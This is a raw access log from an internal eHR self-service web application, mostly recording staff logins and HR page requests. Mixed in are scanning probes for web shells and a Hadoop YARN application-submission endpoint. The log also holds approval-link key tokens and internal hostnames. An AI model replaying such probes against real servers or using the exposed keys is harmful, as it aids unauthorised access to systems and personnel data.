100.64.0.1 - - [03/Dec/2025:07:17:34 +0800] "MGLNDD_202.111.43.170_8088" 501 228 100.64.0.1 - - [03/Dec/2025:07:17:34 +0800] "MGLNDD_202.111.43.170_8088" 501 228 "-" "-" 100.64.0.1 - - [03/Dec/2025:07:50:29 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 100.64.0.1 - - [03/Dec/2025:07:50:29 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [03/Dec/2025:08:00:27 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [03/Dec/2025:08:00:27 +0800] "GET / HTTP/1.1" 200 439 192.168.12.41 - - [03/Dec/2025:08:12:35 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.41 - - [03/Dec/2025:08:12:35 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.41 - - [03/Dec/2025:08:12:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.41 - - [03/Dec/2025:08:12:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.41 - - [03/Dec/2025:08:12:40 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.41 - - [03/Dec/2025:08:12:40 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.41 - - [03/Dec/2025:08:12:45 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.41 - - [03/Dec/2025:08:12:45 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.12.41 - - [03/Dec/2025:08:12:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.41 - - [03/Dec/2025:08:12:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.12.41 - - [03/Dec/2025:08:14:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.41 - - [03/Dec/2025:08:14:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.12.41 - - [03/Dec/2025:08:14:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10976 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.41 - - [03/Dec/2025:08:14:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10976 100.64.0.1 - - [03/Dec/2025:08:15:05 +0800] "GET /shell.php HTTP/1.1" 404 207 100.64.0.1 - - [03/Dec/2025:08:15:05 +0800] "GET /shell.php HTTP/1.1" 404 207 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [03/Dec/2025:08:15:06 +0800] "GET /webshell.php HTTP/1.1" 404 210 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [03/Dec/2025:08:15:06 +0800] "GET /webshell.php HTTP/1.1" 404 210 100.64.0.1 - - [03/Dec/2025:08:15:41 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [03/Dec/2025:08:15:41 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:08:17:21 +0800] "GET /webshell HTTP/1.1" 404 206 100.64.0.1 - - [03/Dec/2025:08:17:21 +0800] "GET /webshell HTTP/1.1" 404 206 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [03/Dec/2025:08:19:18 +0800] "GET /webshell.php HTTP/1.1" 404 210 100.64.0.1 - - [03/Dec/2025:08:19:18 +0800] "GET /webshell.php HTTP/1.1" 404 210 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [03/Dec/2025:08:19:24 +0800] "\x03" 501 203 100.64.0.1 - - [03/Dec/2025:08:19:24 +0800] "\x03" 501 203 "-" "-" 100.64.0.1 - - [03/Dec/2025:08:32:20 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA160C613916DC4B3664EB27DDCFC195F1D362790D5C6740F91D412D596EC666BC85B18BD9B53AF0BB270985D18D366512A0CFAB1A637E33427 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [03/Dec/2025:08:32:20 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA160C613916DC4B3664EB27DDCFC195F1D362790D5C6740F91D412D596EC666BC85B18BD9B53AF0BB270985D18D366512A0CFAB1A637E33427 HTTP/1.1" 200 - 100.64.0.1 - - [03/Dec/2025:08:32:23 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA160C613916DC4B3664EB27DDCFC195F1D362790D5C6740F91D412D596EC666BC85B18BD9B53AF0BB270985D18D366512A0CFAB1A637E33427 HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [03/Dec/2025:08:32:23 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA160C613916DC4B3664EB27DDCFC195F1D362790D5C6740F91D412D596EC666BC85B18BD9B53AF0BB270985D18D366512A0CFAB1A637E33427 HTTP/1.1" 200 4166 100.64.0.1 - - [03/Dec/2025:08:32:23 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA160C613916DC4B3664EB27DDCFC195F1D362790D5C6740F91D412D596EC666BC85B18BD9B53AF0BB270985D18D366512A0CFAB1A637E33427" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [03/Dec/2025:08:32:23 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 192.168.11.108 - - [03/Dec/2025:08:33:06 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:08:33:06 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.108 - - [03/Dec/2025:08:36:22 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:08:36:22 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:08:36:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:08:36:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 192.168.11.108 - - [03/Dec/2025:08:36:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10447 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:08:36:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10447 192.168.11.108 - - [03/Dec/2025:08:36:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 16666 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:08:36:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 16666 192.168.11.108 - - [03/Dec/2025:08:36:59 +0800] "GET /eHR/upload/userfile/cb62ee74a309aca014251274351c9f8e.jpg?&openW=Y&rand=0.44007343531667953 HTTP/1.1" 200 314052 "http://hcp.maglayers.com.cn:8088/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:08:36:59 +0800] "GET /eHR/upload/userfile/cb62ee74a309aca014251274351c9f8e.jpg?&openW=Y&rand=0.44007343531667953 HTTP/1.1" 200 314052 192.168.11.108 - - [03/Dec/2025:08:37:00 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://192.168.1.83:8088/eHR/upload/userfile/cb62ee74a309aca014251274351c9f8e.jpg?&openW=Y&rand=0.44007343531667953" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:08:37:00 +0800] "GET /favicon.ico HTTP/1.1" 404 209 192.168.40.52 - - [03/Dec/2025:08:37:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [03/Dec/2025:08:37:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.40.52 - - [03/Dec/2025:08:37:01 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [03/Dec/2025:08:37:01 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.52 - - [03/Dec/2025:08:37:04 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [03/Dec/2025:08:37:04 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.52 - - [03/Dec/2025:08:37:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [03/Dec/2025:08:37:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.52 - - [03/Dec/2025:08:37:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [03/Dec/2025:08:37:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.108 - - [03/Dec/2025:08:37:16 +0800] "GET /eHR/upload/userfile/cb62ee74a309aca014251274351c9f8e.jpg?&openW=Y&rand=0.5273679404252922 HTTP/1.1" 200 314052 "http://hcp.maglayers.com.cn:8088/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:08:37:16 +0800] "GET /eHR/upload/userfile/cb62ee74a309aca014251274351c9f8e.jpg?&openW=Y&rand=0.5273679404252922 HTTP/1.1" 200 314052 192.168.11.108 - - [03/Dec/2025:08:37:35 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 5126 "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:08:37:35 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 5126 192.168.11.108 - - [03/Dec/2025:08:37:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:08:37:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 192.168.11.104 - - [03/Dec/2025:08:38:21 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.014050292610574555 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:21 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.014050292610574555 HTTP/1.1" 302 - 192.168.11.104 - - [03/Dec/2025:08:38:22 +0800] "GET /eHR/ess HTTP/1.1" 301 241 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:22 +0800] "GET /eHR/ess HTTP/1.1" 301 241 192.168.11.104 - - [03/Dec/2025:08:38:22 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:22 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 192.168.11.104 - - [03/Dec/2025:08:38:22 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:22 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - 192.168.11.104 - - [03/Dec/2025:08:38:22 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:22 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - 192.168.11.104 - - [03/Dec/2025:08:38:22 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:22 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.11.104 - - [03/Dec/2025:08:38:22 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:22 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.11.104 - - [03/Dec/2025:08:38:22 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:22 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.11.104 - - [03/Dec/2025:08:38:22 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:22 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.11.104 - - [03/Dec/2025:08:38:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.104 - - [03/Dec/2025:08:38:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.11.104 - - [03/Dec/2025:08:38:24 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:24 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.11.104 - - [03/Dec/2025:08:38:24 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:24 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.104 - - [03/Dec/2025:08:38:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.104 - - [03/Dec/2025:08:38:32 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:32 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - 192.168.11.104 - - [03/Dec/2025:08:38:33 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:33 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.11.104 - - [03/Dec/2025:08:38:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [03/Dec/2025:08:38:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png 